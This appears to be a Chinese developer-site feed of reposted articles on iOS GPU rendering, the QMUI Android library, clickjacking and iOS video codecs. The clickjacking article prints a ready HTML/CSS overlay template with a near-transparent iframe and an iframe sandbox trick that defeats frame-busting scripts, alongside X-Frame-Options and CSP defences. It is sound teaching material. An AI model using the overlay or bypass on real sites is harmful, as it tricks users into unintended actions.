    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
    收起阅读 »

    iOS--图形图像渲染原理

    引言作为程序员,我们或多或少知道可视化应用程序都是由 CPU 和 GPU 协作执行的。那么我们就先来了解一下两者的基本概念:1.CPU(Central Processing Unit):现代计算机的三大核心部分之一,作为整个系统的运算和控制单元。CPU 内部的...
    继续阅读 »

    引言

    作为程序员,我们或多或少知道可视化应用程序都是由 CPU 和 GPU 协作执行的。那么我们就先来了解一下两者的基本概念:

    1.CPU(Central Processing Unit):现代计算机的三大核心部分之一,作为整个系统的运算和控制单元。CPU 内部的流水线结构使其拥有一定程度的并行计算能力。

    2.GPU(Graphics Processing Unit):一种可进行绘图运算工作的专用微处理器。GPU 能够生成 2D/3D 的图形图像和视频,从而能够支持基于窗口的操作系统、图形用户界面、视频游戏、可视化图像应用和视频播放。GPU 具有非常强的并行计算能力。

    这时候可能会产生一个问题:CPU 难道不能代替 GPU 来进行图形渲染吗?答案当然是肯定的,不过在看了下面这个视频就明白为什么要用 GPU 来进行图形渲染了。

    GPU CPU 模拟绘图视频

    使用 GPU 渲染图形的根本原因就是:速度。GPU 的并行计算能力使其能够快速将图形结果计算出来并在屏幕的所有像素中进行显示。

    那么像素是如何绘制在屏幕上的?计算机将存储在内存中的形状转换成实际绘制在屏幕上的对应的过程称为 渲染。渲染过程中最常用的技术就是 光栅化

    关于光栅化的概念,以下图为例,假如有一道绿光与存储在内存中的一堆三角形中的某一个在三维空间坐标中存在相交的关系。那么这些处于相交位置的像素都会被绘制到屏幕上。当然这些三角形在三维空间中的前后关系也会以遮挡或部分遮挡的形式在屏幕上呈现出来。一句话总结:

    光栅化就是将数据转化成可见像素的过程。


    GPU 则是执行转换过程的硬件部件。由于这个过程涉及到屏幕上的每一个像素,所以 GPU 被设计成了一个高度并行化的硬件部件。

    下面,我们来简单了解一下 GPU 的历史。

    GPU 历史

    GPU 还未出现前,PC 上的图形操作是由 视频图形阵列(VGA,Video Graphics Array) 控制器完成。VGA 控制器由连接到一定容量的DRAM上的存储控制器和显示产生器构成。

    1997 年,VGA 控制器开始具备一些 3D 加速功能,包括用于 三角形生成、光栅化、纹理贴图 和 阴影。

    2000 年,一个单片处图形处理器继承了传统高端工作站图形流水线的几乎每一个细节。因此诞生了一个新的术语 GPU 用来表示图形设备已经变成了一个处理器。

    随着时间的推移,GPU 的可编程能力愈发强大,其作为可编程处理器取代了固定功能的专用逻辑,同时保持了基本的 3D 图形流水线组织。

    近年来,GPU 增加了处理器指令和存储器硬件,以支持通用编程语言,并创立了一种编程环境,从而允许使用熟悉的语言(包括 C/C++)对 GPU 进行编程。

    如今,GPU 及其相关驱动实现了图形处理中的 OpenGL 和 DirectX 模型,从而允许开发者能够轻易地操作硬件。OpenGL 严格来说并不是常规意义上的 API,而是一个第三方标准(由 khronos 组织制定并维护),其严格定义了每个函数该如何执行,以及它们的输出值。至于每个函数内部具体是如何实现的,则由 OpenGL 库的开发者自行决定。实际 OpenGL 库的开发者通常是显卡的生产商。DirectX 则是由 Microsoft 提供一套第三方标准。

    GPU 图形渲染流水线


    GPU 图形渲染流水线的主要工作可以被划分为两个部分:

    把 3D 坐标转换为 2D 坐标

    把 2D 坐标转变为实际的有颜色的像素

    GPU 图形渲染流水线的具体实现可分为六个阶段,如下图所示。

    顶点着色器(Vertex Shader)
    形状装配(Shape Assembly),又称 图元装配
    几何着色器(Geometry Shader)
    光栅化(Rasterization)
    片段着色器(Fragment Shader)
    测试与混合(Tests and Blending)


    第一阶段,顶点着色器。该阶段的输入是 顶点数据(Vertex Data) 数据,比如以数组的形式传递 3 个 3D 坐标用来表示一个三角形。顶点数据是一系列顶点的集合。顶点着色器主要的目的是把 3D 坐标转为另一种 3D 坐标,同时顶点着色器可以对顶点属性进行一些基本处理。

    第二阶段,形状(图元)装配。该阶段将顶点着色器输出的所有顶点作为输入,并将所有的点装配成指定图元的形状。图中则是一个三角形。图元(Primitive) 用于表示如何渲染顶点数据,如:点、线、三角形。

    第三阶段,几何着色器。该阶段把图元形式的一系列顶点的集合作为输入,它可以通过产生新顶点构造出新的(或是其它的)图元来生成其他形状。例子中,它生成了另一个三角形。

    第四阶段,光栅化。该阶段会把图元映射为最终屏幕上相应的像素,生成片段。片段(Fragment) 是渲染一个像素所需要的所有数据。

    第五阶段,片段着色器。该阶段首先会对输入的片段进行 裁切(Clipping)。裁切会丢弃超出视图以外的所有像素,用来提升执行效率。

    第六阶段,测试与混合。该阶段会检测片段的对应的深度值(z 坐标),判断这个像素位于其它物体的前面还是后面,决定是否应该丢弃。此外,该阶段还会检查 alpha 值( alpha 值定义了一个物体的透明度),从而对物体进行混合。因此,即使在片段着色器中计算出来了一个像素输出的颜色,在渲染多个三角形的时候最后的像素颜色也可能完全不同。

    关于混合,GPU 采用如下公式进行计算,并得出最后的颜色。

    R = S + D * (1 - Sa)

    关于公式的含义,假设有两个像素 S(source) 和 D(destination),S 在 z 轴方向相对靠前(在上面),D 在 z 轴方向相对靠后(在下面),那么最终的颜色值就是 S(上面像素) 的颜色 + D(下面像素) 的颜色 * (1 - S(上面像素) 颜色的透明度)。

    上述流水线以绘制一个三角形为进行介绍,可以为每个顶点添加颜色来增加图形的细节,从而创建图像。但是,如果让图形看上去更加真实,需要足够多的顶点和颜色,相应也会产生更大的开销。为了提高生产效率和执行效率,开发者经常会使用 纹理(Texture) 来表现细节。纹理是一个 2D 图片(甚至也有 1D 和 3D 的纹理)。纹理一般可以直接作为图形渲染流水线的第五阶段的输入。

    最后,我们还需要知道上述阶段中的着色器事实上是一些程序,它们运行在 GPU 中成千上万的小处理器核中。这些着色器允许开发者进行配置,从而可以高效地控制图形渲染流水线中的特定部分。由于它们运行在 GPU 中,因此可以降低 CPU 的负荷。着色器可以使用多种语言编写,OpenGL 提供了 GLSL(OpenGL Shading Language) 着色器语言。

    GPU 存储系统

    早期的 GPU,不同的着色器对应有着不同的硬件单元。如今,GPU 流水线则使用一个统一的硬件来运行所有的着色器。此外,nVidia 还提出了 CUDA(Compute Unified Device Architecture) 编程模型,可以允许开发者通过编写 C 代码来访问 GPU 中所有的处理器核,从而深度挖掘 GPU 的并行计算能力。

    下图所示为 GPU 内部的层级结构。最底层是计算机的系统内存,其次是 GPU 的内部存储,然后依次是两级 cache:L2 和 L1,每个 L1 cache 连接至一个 流处理器(SM,stream processor)。

    SM L1 Cache 的存储容量大约为 16 至 64KB。

    GPU L2 Cache 的存储容量大约为几百 KB。

    GPU 的内存最大为 12GB。

    GPU 上的各级存储系统与对应层级的计算机存储系统相比要小不少。

    此外,GPU 内存并不具有一致性,也就意味着并不支持并发读取和并发写入。


    GPU 流处理器

    下图所示为 GPU 中每个流处理器的内部结构示意图。每个流处理器集成了一个 L1 Cache。顶部是处理器核共享的寄存器堆。


    CPU-GPU 异构系统

    至此,我们大致了解了 GPU 的工作原理和内部结构,那么实际应用中 CPU 和 GPU 又是如何协同工作的呢?

    下图所示为两种常见的 CPU-GPU 异构架构。

    左图是分离式的结构,CPU 和 GPU 拥有各自的存储系统,两者通过 PCI-e 总线进行连接。这种结构的缺点在于 PCI-e 相对于两者具有低带宽和高延迟,数据的传输成了其中的性能瓶颈。目前使用非常广泛,如PC、智能手机等。

    右图是耦合式的结构,CPU 和 GPU 共享内存和缓存。AMD 的 APU 采用的就是这种结构,目前主要使用在游戏主机中,如 PS4。

    注意,目前很多 SoC 都是集成了CPU 和 GPU,事实上这仅仅是在物理上进行了集成,并不意味着它们使用的就是耦合式结构,大多数采用的还是分离式结构。耦合式结构是在系统上进行了集成。

    在存储管理方面,分离式结构中 CPU 和 GPU 各自拥有独立的内存,两者共享一套虚拟地址空间,必要时会进行内存拷贝。对于耦合式结构,GPU 没有独立的内存,与 GPU 共享系统内存,由 MMU 进行存储管理。

    图形应用程序调用 OpenGL 或 Direct3D API 功能,将 GPU 作为协处理器使用。API 通过面向特殊 GPU 优化的图形设备驱动向 GPU 发送命令、程序、数据。

    GPU 资源管理模型

    下图所示为分离式异构系统中 GPU 的资源管理模型示意图。


    MMIO(Memory-Mapped I/O)

    CPU 通过 MMIO 访问 GPU 的寄存器状态。
    通过 MMIO 传送数据块传输命令,支持 DMA 的硬件可以实现块数据传输。

    GPU Context

    上下文表示 GPU 的计算状态,在 GPU 中占据部分虚拟地址空间。多个活跃态下的上下文可以在 GPU 中并存。

    CPU Channel

    来自 CPU 操作 GPU 的命令存储在内存中,并提交至 GPU channel 硬件单元。
    每个 GPU 上下文可拥有多个 GPU Channel。每个 GPU 上下文都包含 GPU channel 描述符(GPU 内存中的内存对象)。
    每个 GPU Channel 描述符存储了channel 的配置,如:其所在的页表。
    每个 GPU Channel 都有一个专用的命令缓冲区,该缓冲区分配在 GPU 内存中,通过 MMIO 对 CPU 可见。

    GPU 页表

    GPU 上下文使用 GPU 页表进行分配,该表将虚拟地址空间与其他地址空间隔离开来。
    GPU 页表与 CPU 页表分离,其驻留在 GPU 内存中,物理地址位于 GPU 通道描述符中。
    通过 GPU channel 提交的所有命令和程序都在对应的 GPU 虚拟地址空间中执行。
    GPU 页表将 GPU 虚拟地址不仅转换为 GPU 设备物理地址,还转换为主机物理地址。这使得 GPU 页面表能够将 GPU 存储器和主存储器统一到统一的 GPU 虚拟地址空间中,从而构成一个完成的虚拟地址空间。

    PFIFO Engine

    PFIFO 是一个提交 GPU 命令的特殊引擎。
    PFIFO 维护多个独立的命令队列,即 channel。
    命令队列是带有 put 和 get 指针的环形缓冲器。
    PFIFO 引擎会拦截多有对通道控制区域的访问以供执行。
    GPU 驱动使用一个通道描述符来存储关联通道的设置。

    BO

    缓冲对象(Buffer Object)。一块内存,可以用来存储纹理,渲染对象,着色器代码等等。

    CPU-GPU 工作流

    下图所示为 CPU-GPU 异构系统的工作流,当 CPU 遇到图像处理的需求时,会调用 GPU 进行处理,主要流程可以分为以下四步:

    1.将主存的处理数据复制到显存中

    2.CPU 指令驱动 GPU

    3.GPU 中的每个运算单元并行处理

    4.GPU 将显存结果传回主存


    屏幕图像显示原理

    介绍屏幕图像显示的原理,需要先从 CRT 显示器原理说起,如下图所示。CRT 的电子枪从上到下逐行扫描,扫描完成后显示器就呈现一帧画面。然后电子枪回到初始位置进行下一次扫描。为了同步显示器的显示过程和系统的视频控制器,显示器会用硬件时钟产生一系列的定时信号。当电子枪换行进行扫描时,显示器会发出一个水平同步信号(horizonal synchronization),简称 HSync;而当一帧画面绘制完成后,电子枪回复到原位,准备画下一帧前,显示器会发出一个垂直同步信号(vertical synchronization),简称 VSync。显示器通常以固定频率进行刷新,这个刷新率就是 VSync 信号产生的频率。虽然现在的显示器基本都是液晶显示屏了,但其原理基本一致。


    下图所示为常见的 CPU、GPU、显示器工作方式。CPU 计算好显示内容提交至 GPU,GPU 渲染完成后将渲染结果存入帧缓冲区,视频控制器会按照 VSync 信号逐帧读取帧缓冲区的数据,经过数据转换后最终由显示器进行显示。


    最简单的情况下,帧缓冲区只有一个。此时,帧缓冲区的读取和刷新都都会有比较大的效率问题。为了解决效率问题,GPU 通常会引入两个缓冲区,即 双缓冲机制。在这种情况下,GPU 会预先渲染一帧放入一个缓冲区中,用于视频控制器的读取。当下一帧渲染完毕后,GPU 会直接把视频控制器的指针指向第二个缓冲器。


    双缓冲虽然能解决效率问题,但会引入一个新的问题。当视频控制器还未读取完成时,即屏幕内容刚显示一半时,GPU 将新的一帧内容提交到帧缓冲区并把两个缓冲区进行交换后,视频控制器就会把新的一帧数据的下半段显示到屏幕上,造成画面撕裂现象,如下图:


    为了解决这个问题,GPU 通常有一个机制叫做垂直同步(简写也是 V-Sync),当开启垂直同步后,GPU 会等待显示器的 VSync 信号发出后,才进行新的一帧渲染和缓冲区更新。这样能解决画面撕裂现象,也增加了画面流畅度,但需要消费更多的计算资源,也会带来部分延迟。

    摘自:http://chuquan.me/2018/08/26/graphics-rending-principle-gpu

    收起阅读 »

    快速搭建Android项目-QMUI_Android

    QMUI Android 的设计目的是用于辅助快速搭建一个具备基本设计还原效果的 Android 项目,同时利用自身提供的丰富控件及兼容处理,让开发者能专注于业务需求而无需耗费精力在基础代码的设计上。不管是新项目的创建,或是已有项目的维护,均可使开发效率和项目...
    继续阅读 »

    QMUI Android 的设计目的是用于辅助快速搭建一个具备基本设计还原效果的 Android 项目,同时利用自身提供的丰富控件及兼容处理,让开发者能专注于业务需求而无需耗费精力在基础代码的设计上。不管是新项目的创建,或是已有项目的维护,均可使开发效率和项目质量得到大幅度提升。

    功能特性

    全局 UI 配置

    只需要修改一份配置表就可以调整 App 的全局样式,包括组件颜色、导航栏、对话框、列表等。一处修改,全局生效。

    丰富的 UI 控件

    提供丰富常用的 UI 控件,例如 BottomSheet、Tab、圆角 ImageView、下拉刷新等,使用方便灵活,并且支持自定义控件的样式。

    高效的工具方法

    提供高效的工具方法,包括设备信息、屏幕信息、键盘管理、状态栏管理等,可以解决各种常见场景并大幅度提升开发效率。

    开始使用

    qmui

    1. 引入库

    最新的库会上传到 JCenter 仓库上,请确保配置了 JCenter 仓库源,然后直接引用:

    implementation 'com.qmuiteam:qmui:2.0.0-alpha10'
    至此,QMUI 已被引入项目中。

    2. 配置主题

    把项目的 theme 的 parent 指向 QMUI.Compat,至此,QMUI 可以正常工作。

    3. 覆盖组件的默认表现

    你可以通过在项目中的 theme 中用 <item name="(name)">(value)</item> 的形式来覆盖 QMUI 组件的默认表现。具体可指定的属性名请参考 @style/QMUI.Compat 或 @style/QMUI 中的属性。

    arch

    1. 引入库

    最新的库会上传到 JCenter 仓库上,请确保配置了 JCenter 仓库源,然后直接引用:

    def qmui_arch_version = '2.0.0-alpha10'
    implementation "com.qmuiteam:arch:$qmui_arch_version"
    kapt "com.qmuiteam:arch-compiler:$qmui_arch_version" // use annotationProcessor if java

    2. 在 Application 里初始化

    override fun onCreate() {
    super.onCreate()
    QMUISwipeBackActivityManager.init(this)
    }

    然后就可以使用 arch 库提供的 QMUIFragment、QMUIFragmentActivity、QMUIActivity 来作为基础类构建自己的界面了。

    3. proguard

    -keep class **_FragmentFinder { *; }
    -keep class androidx.fragment.app.* { *; }

    -keep class com.qmuiteam.qmui.arch.record.RecordIdClassMap { *; }
    -keep class com.qmuiteam.qmui.arch.record.RecordIdClassMapImpl { *; }

    -keep class com.qmuiteam.qmui.arch.scheme.SchemeMap {*;}
    -keep class com.qmuiteam.qmui.arch.scheme.SchemeMapImpl {*;}

    代码下载:QMUI_Android-master.zip

    原文链接:https://github.com/Tencent/QMUI_Android


    收起阅读 »

    Web 安全 之 Clickjacking

    Clickjacking ( UI redressing )在本节中,我们将解释什么是 clickjacking 点击劫持,并描述常见的点击劫持攻击示例,以及讨论如何防御这些攻击。什么是点击劫持点击劫持是一种基于界面的攻击,通过诱导用户点击钓鱼网站中的被隐藏了...
    继续阅读 »

    Clickjacking ( UI redressing )

    在本节中,我们将解释什么是 clickjacking 点击劫持,并描述常见的点击劫持攻击示例,以及讨论如何防御这些攻击。

    什么是点击劫持

    点击劫持是一种基于界面的攻击,通过诱导用户点击钓鱼网站中的被隐藏了的可操作的危险内容。

    例如:某个用户被诱导访问了一个钓鱼网站(可能是点击了电子邮件中的链接),然后点击了一个赢取大奖的按钮。实际情况则是,攻击者在这个赢取大奖的按钮下面隐藏了另一个网站上向其他账户进行支付的按钮,而结果就是用户被诱骗进行了支付。这就是一个点击劫持攻击的例子。这项技术实际上就是通过 iframe 合并两个页面,真实操作的页面被隐藏,而诱骗用户点击的页面则显示出来。点击劫持攻击与 CSRF 攻击的不同之处在于,点击劫持需要用户执行某种操作,比如点击按钮,而 CSRF 则是在用户不知情或者没有输入的情况下伪造整个请求。


    针对 CSRF 攻击的防御措施通常是使用 CSRF token(针对特定会话、一次性使用的随机数)。而点击劫持无法则通过 CSRF token 缓解攻击,因为目标会话是在真实网站加载的内容中建立的,并且所有请求均在域内发生。CSRF token 也会被放入请求中,并作为正常行为的一部分传递给服务器,与普通会话相比,差异就在于该过程发生在隐藏的 iframe 中。

    如何构造一个基本的点击劫持攻击

    点击劫持攻击使用 CSS 创建和操作图层。攻击者将目标网站通过 iframe 嵌入并隐藏。使用样式标签和参数的示例如下:

    <head>
    <style>
    #target_website {
    position:relative;
    width:128px;
    height:128px;
    opacity:0.00001;
    z-index:2;
    }
    #decoy_website {
    position:absolute;
    width:300px;
    height:400px;
    z-index:1;
    }
    </style>
    </head>
    ...
    <body>
    <div id="decoy_website">
    ...decoy web content here...
    </div>
    <iframe id="target_website" src="https://vulnerable-website.com">
    </iframe>
    </body>

    目标网站 iframe 被定位在浏览器中,使用适当的宽度和高度位置值将目标动作与诱饵网站精确重叠。无论屏幕大小,浏览器类型和平台如何,绝对位置值和相对位置值均用于确保目标网站准确地与诱饵重叠。z-index 决定了 iframe 和网站图层的堆叠顺序。透明度被设置为零,因此 iframe 内容对用户是透明的。浏览器可能会基于 iframe 透明度进行阈值判断从而自动进行点击劫持保护(例如,Chrome 76 包含此行为,但 Firefox 没有),但攻击者仍然可以选择适当的透明度值,以便在不触发此保护行为的情况下获得所需的效果。

    预填写输入表单

    一些需要表单填写和提交的网站允许在提交之前使用 GET 参数预先填充表单输入。由于 GET 参数在 URL 中,那么攻击者可以直接修改目标 URL 的值,并将透明的“提交”按钮覆盖在诱饵网站上。

    Frame 拦截脚本

    只要网站可以被 frame ,那么点击劫持就有可能发生。因此,预防性技术的基础就是限制网站 frame 的能力。比较常见的客户端保护措施就是使用 web 浏览器的 frame 拦截或清理脚本,比如浏览器的插件或扩展程序,这些脚本通常是精心设计的,以便执行以下部分或全部行为:

    • 检查并强制当前窗口是主窗口或顶部窗口
    • 使所有 frame 可见。
    • 阻止点击可不见的 frame
    • 拦截并标记对用户的潜在点击劫持攻击。

    Frame 拦截技术一般特定于浏览器和平台,且由于 HTML 的灵活性,它们通常也可以被攻击者规避。由于这些脚本也是 JavaScript ,浏览器的安全设置也可能会阻止它们的运行,甚至浏览器直接不支持 JavaScript 。攻击者也可以使用 HTML5 iframe 的 sandbox 属性去规避 frame 拦截。当 iframe 的 sandbox 设置为 allow-forms 或 allow-scripts,且 allow-top-navigation 被忽略时,frame 拦截脚本可能就不起作用了,因为 iframe 无法检查它是否是顶部窗口:

    <iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

    当 iframe 的 allow-forms 和 allow-scripts 被设置,且 top-level 导航被禁用,这会抑制 frame 拦截行为,同时允许目标站内的功能。

    结合使用点击劫持与 DOM XSS 攻击

    到目前为止,我们把点击劫持看作是一种独立的攻击。从历史上看,点击劫持被用来执行诸如在 Facebook 页面上增加“点赞”之类的行为。然而,当点击劫持被用作另一种攻击的载体,如 DOM XSS 攻击,才能发挥其真正的破坏性。假设攻击者首先发现了 XSS 攻击的漏洞,则实施这种组合攻击就很简单了,只需要将 iframe 的目标 URL 结合 XSS ,以使用户点击按钮或链接,从而执行 DOM XSS 攻击。

    多步骤点击劫持

    攻击者操作目标网站的输入可能需要执行多个操作。例如,攻击者可能希望诱骗用户从零售网站购买商品,而在下单之前还需要将商品添加到购物篮中。为了实现这些操作,攻击者可能使用多个视图或 iframe ,这也需要相当的精确性,攻击者必须非常小心。

    如何防御点击劫持攻击

    我们在上文中已经讨论了一种浏览器端的预防机制,即 frame 拦截脚本。然而,攻击者通常也很容易绕过这种防御。因此,服务端驱动的协议被设计了出来,以限制浏览器 iframe 的使用并减轻点击劫持的风险。

    点击劫持是一种浏览器端的行为,它的成功与否取决于浏览器的功能以及是否遵守现行 web 标准和最佳实践。服务端的防御措施就是定义 iframe 组件使用的约束,然而,其实现仍然取决于浏览器是否遵守并强制执行这些约束。服务端针对点击劫持的两种保护机制分别是 X-Frame-Options 和 Content Security Policy 。

    X-Frame-Options

    X-Frame-Options 最初由 IE8 作为非官方的响应头引入,随后也在其他浏览器中被迅速采用。X-Frame-Options 头为网站所有者提供了对 iframe 使用的控制(就是说第三方网站不能随意的使用 iframe 嵌入你控制的网站),比如你可以使用 deny 直接拒绝所有 iframe 引用你的网站:

    X-Frame-Optionsdeny

    或者使用 sameorigin 限制为只有同源网站可以引用:

    X-Frame-Optionssameorigin

    或者使用 allow-from 指定白名单:

    X-Frame-Options: allow-from https://normal-website.com

    X-Frame-Options 在不同浏览器中的实现并不一致(比如,Chrome 76 或 Safari 12 不支持 allow-from)。然而,作为多层防御策略中的一部分,其与 Content Security Policy 结合使用时,可以有效地防止点击劫持攻击。

    Content Security Policy

    Content Security Policy (CSP) 内容安全策略是一种检测和预防机制,可以缓解 XSS 和点击劫持等攻击。CSP 通常是由 web 服务作为响应头返回,格式为:

    Content-Security-Policypolicy

    其中的 policy 是一个由分号分隔的策略指令字符串。CSP 向客户端浏览器提供有关允许的 Web 资源来源的信息,浏览器可以将这些资源应用于检测和拦截恶意行为。

    有关点击劫持的防御,建议在 Content-Security-Policy 中增加 frame-ancestors 策略。

    • frame-ancestors 'none' 类似于 X-Frame-Options: deny ,表示拒绝所有 iframe 引用。
    • frame-ancestors 'self' 类似于 X-Frame-Options: sameorigin ,表示只允许同源引用。

    示例:

    Content-Security-Policyframe-ancestors 'self';

    或者指定网站白名单:

    Content-Security-Policyframe-ancestors normal-website.com;

    为了有效地防御点击劫持和 XSS 攻击,CSP 需要进行仔细的开发、实施和测试,并且应该作为多层防御策略中的一部分使用。

    原文链接:https://segmentfault.com/a/1190000039341244

    收起阅读 »

    iOS 音视频编解码基本概念

    来看看视频里面到底有什么内容元素:图像(Image)⾳频(Audio)元信息(Metadata)编码格式: • Video: H264Audio: AAC视频相关基础概念1.视频文件格式相信大家平时接触的word文件后面带的.doc,图片后缀带有.png/.j...
    继续阅读 »

    来看看视频里面到底有什么


    内容元素:

    • 图像(Image)

    • ⾳频(Audio)

    • 元信息(Metadata)

    • 编码格式: • Video: H264

    • Audio: AAC

    • 视频相关基础概念


      1.视频文件格式相信大家平时接触的word文件后面带的.doc,图片后缀带有.png/.jpg等,我们常见的视频文件后缀有:.mov、.avi、.mpg、.vob、.mkv、.rm、.rmvb 等等。这些后缀名通常在操作系统上用相应的应用程序打开,比如.doc用word打开。对于视频来说,为什么会有这么多的文件格式了,那是因为通过了不同的方式来实现了视频这件事---------视频的封装格式。

      2.视频的封装格式

      视频封装格式,通常我们把它称作为视频格式,它相当于一种容器,比如可乐的瓶子,矿泉水瓶等等。它里面包含了视频的相关信息(视频信息,音频信息,解码方式等等),一种封装格式直接反应了视频的文件格式,封装格式:就是将已经编码压缩好的视频数据 和音频数据按照一定的格式放到一个文件中.这个文件可以称为容器. 当然可以理解为这只是一个外壳.通常我们不仅仅只存放音频数据和视频数据,还会存放 一下视频同步的元数据.例如字幕.这多种数据会不同的程序来处理,但是它们在传输和存储的时候,这多种数据都是被绑定在一起的.





      • 相关视频封装格式的优缺点:

        • 1.AVI 格式:这种视频格式的优点是图像质量好,无损 AVI 可以保存 alpha 通道。缺点是体积过于庞大,并且压缩标准不统一,存在较多的高低版本兼容问题。
        • 2.WMV 格式:可以直接在网上实时观看视频节目的文件压缩格式。在同等视频质量下,WMV 格式的文件可以边下载边播放,因此很适合在网上播放和传输。
        • 3.MPEG 格式:为了播放流式媒体的高质量视频而专门设计的,以求使用最少的数据获得最佳的图像质量。
        • 4.Matroska 格式:是一种新的视频封装格式,它可将多种不同编码的视频及 16 条以上不同格式的音频和不同语言的字幕流封装到一个 Matroska Media 文件当中。
        • 5.Real Video 格式:用户可以使用 RealPlayer 根据不同的网络传输速率制定出不同的压缩比率,从而实现在低速率的网络上进行影像数据实时传送和播放。
        • 6.QuickTime File Format 格式:是 Apple 公司开发的一种视频格式,默认的播放器是苹果的 QuickTime。这种封装格式具有较高的压缩比率和较完美的视频清晰度等特点,并可以保存 alpha 通道。
        • 7.Flash Video 格式: Adobe Flash 延伸出来的一种网络视频封装格式。这种格式被很多视频网站所采用。
      • 视频的编码格式

      • 视频编解码的过程是指对数字视频进行压缩或解压缩的一个过程.在做视频编解码时,需要考虑以下这些因素的平衡:

        • 视频的质量、
        • 用来表示视频所需要的数据量(通常称之为码率)、
        • 编码算法和解码算法的复杂度
        • 针对数据丢失和错误的鲁棒性(Robustness)
        • 编辑的方便性
        • 随机访问
        • 编码算法设计的完美性
        • 端到端的延时以及其它一些因素
      • 常见的编码方式:

      • H.26X 系列,由国际电传视讯联盟远程通信标准化组织(ITU-T)主导,包括 H.261、H.262、H.263、H.264、H.265

        • H.261,主要用于老的视频会议和视频电话系统。是第一个使用的数字视频压缩标准。实质上说,之后的所有的标准视频编解码器都是基于它设计的。
        • H.262,等同于 MPEG-2 第二部分,使用在 DVD、SVCD 和大多数数字视频广播系统和有线分布系统中。
        • H.263,主要用于视频会议、视频电话和网络视频相关产品。在对逐行扫描的视频源进行压缩的方面,H.263 比它之前的视频编码标准在性能上有了较大的提升。尤其是在低码率端,它可以在保证一定质量的前提下大大的节约码率。
        • H.264,等同于 MPEG-4 第十部分,也被称为高级视频编码(Advanced Video Coding,简称 AVC),是一种视频压缩标准,一种被广泛使用的高精度视频的录制、压缩和发布格式。该标准引入了一系列新的能够大大提高压缩性能的技术,并能够同时在高码率端和低码率端大大超越以前的诸标准。
        • H.265,被称为高效率视频编码(High Efficiency Video Coding,简称 HEVC)是一种视频压缩标准,是 H.264 的继任者。HEVC 被认为不仅提升图像质量,同时也能达到 H.264 两倍的压缩率(等同于同样画面质量下比特率减少了 50%),可支持 4K 分辨率甚至到超高画质电视,最高分辨率可达到 8192×4320(8K 分辨率),这是目前发展的趋势。
      • 当前不建议用H.265是因为太过于消耗CPU,而且目前H.264已经满足了大多的视频需求,虽然H.265是H.264的升级版,期待后续硬件跟上

      • MPEG 系列,由国际标准组织机构(ISO)下属的运动图象专家组(MPEG)开发。

        • MPEG-1 第二部分,主要使用在 VCD 上,有些在线视频也使用这种格式。该编解码器的质量大致上和原有的 VHS 录像带相当。
        • MPEG-2 第二部分,等同于 H.262,使用在 DVD、SVCD 和大多数数字视频广播系统和有线分布系统中。
        • MPEG-4 第二部分,可以使用在网络传输、广播和媒体存储上。比起 MPEG-2 第二部分和第一版的 H.263,它的压缩性能有所提高。
        • MPEG-4 第十部分,等同于 H.264,是这两个编码组织合作诞生的标准。
          其他,AMV、AVS、Bink、CineForm 等等,这里就不做多的介绍了。
      • 可以把「视频封装格式」看做是一个装着视频、音频、「视频编解码方式」等信息的容器。一种「视频封装格式」可以支持多种「视频编解码方式」,比如:QuickTime File Format(.MOV) 支持几乎所有的「视频编解码方式」,MPEG(.MP4) 也支持相当广的「视频编解码方式」。当我们看到一个视频文件名为 test.mov 时,我们可以知道它的「视频文件格式」是 .mov,也可以知道它的视频封装格式是 QuickTime File Format,但是无法知道它的「视频编解码方式」。那比较专业的说法可能是以 A/B 这种方式,A 是「视频编解码方式」,B 是「视频封装格式」。比如:一个 H.264/MOV 的视频文件,它的封装方式就是 QuickTime File Format,编码方式是 H.264

      • 音频编码方式

        • 视频中除了画面通常还有声音,所以这就涉及到音频编解码。在视频中经常使用的音频编码方式有

        • AAC,英文全称 Advanced Audio Coding,是由 Fraunhofer IIS、杜比实验室、AT&T、Sony等公司共同开发,在 1997 年推出的基于 MPEG-2 的音频编码技术。2000 年,MPEG-4 标准出现后,AAC 重新集成了其特性,加入了 SBR 技术和 PS 技术,为了区别于传统的 MPEG-2 AAC 又称为 MPEG-4 AAC。

        • MP3,英文全称 MPEG-1 or MPEG-2 Audio Layer III,是当曾经非常流行的一种数字音频编码和有损压缩格式,它被设计来大幅降低音频数据量。它是在 1991 年,由位于德国埃尔朗根的研究组织 Fraunhofer-Gesellschaft 的一组工程师发明和标准化的。MP3 的普及,曾对音乐产业造成极大的冲击与影响。

        • WMA,英文全称 Windows Media Audio,由微软公司开发的一种数字音频压缩格式,本身包括有损和无损压缩格式。

      直播/小视频中的编码格式

      • 视频编码格式

        • H264编码的优势:
          低码率
          高质量的图像
          容错能力强
          网络适应性强
      • 总结: H264最大的优势,具有很高的数据压缩比率,在同等图像质量下,H264的压缩比是MPEG-2的2倍以上,MPEG-4的1.5~2倍.
        举例: 原始文件的大小如果为88GB,采用MPEG-2压缩标准压缩后变成3.5GB,压缩比为25∶1,而采用H.264压缩标准压缩后变为879MB,从88GB到879MB,H.264的压缩比达到惊人的102∶1
        音频编码格式:

      • AAC是目前比较热门的有损压缩编码技术,并且衍生了LC-AAC,HE-AAC,HE-AAC v2 三种主要编码格式.

      • LC-AAC 是比较传统的AAC,主要应用于中高码率的场景编码(>= 80Kbit/s)

      • HE-AAC 主要应用于低码率场景的编码(<= 48Kbit/s)

      • 优势:在小于128Kbit/s的码率下表现优异,并且多用于视频中的音频编码,适合场景:于128Kbit/s以下的音频编码,多用于视频中的音频轨的编码

      关于H264

      • H.264 是现在广泛采用的一种编码方式。关于 H.264 相关的概念,从大到小排序依次是:序列、图像、片组、片、NALU、宏块、亚宏块、块、像素。

      • 图像

        • H.264 中,「图像」是个集合的概念,帧、顶场、底场都可以称为图像。一帧通常就是一幅完整的图像。

      当采集视频信号时,如果采用逐行扫描,则每次扫描得到的信号就是一副图像,也就是一帧。

      当采集视频信号时,如果采用隔行扫描(奇、偶数行),则扫描下来的一帧图像就被分为了两个部分,这每一部分就称为「场」,根据次序分为:「顶场」和「底场」。

      「帧」和「场」的概念又带来了不同的编码方式:帧编码、场编码逐行扫描适合于运动图像,所以对于运动图像采用帧编码更好;隔行扫描适合于非运动图像,所以对于非运动图像采用场编码更好

      • 片(Slice),每一帧图像可以分为多个片

      网络提取层单元(NALU, Network Abstraction Layer Unit),
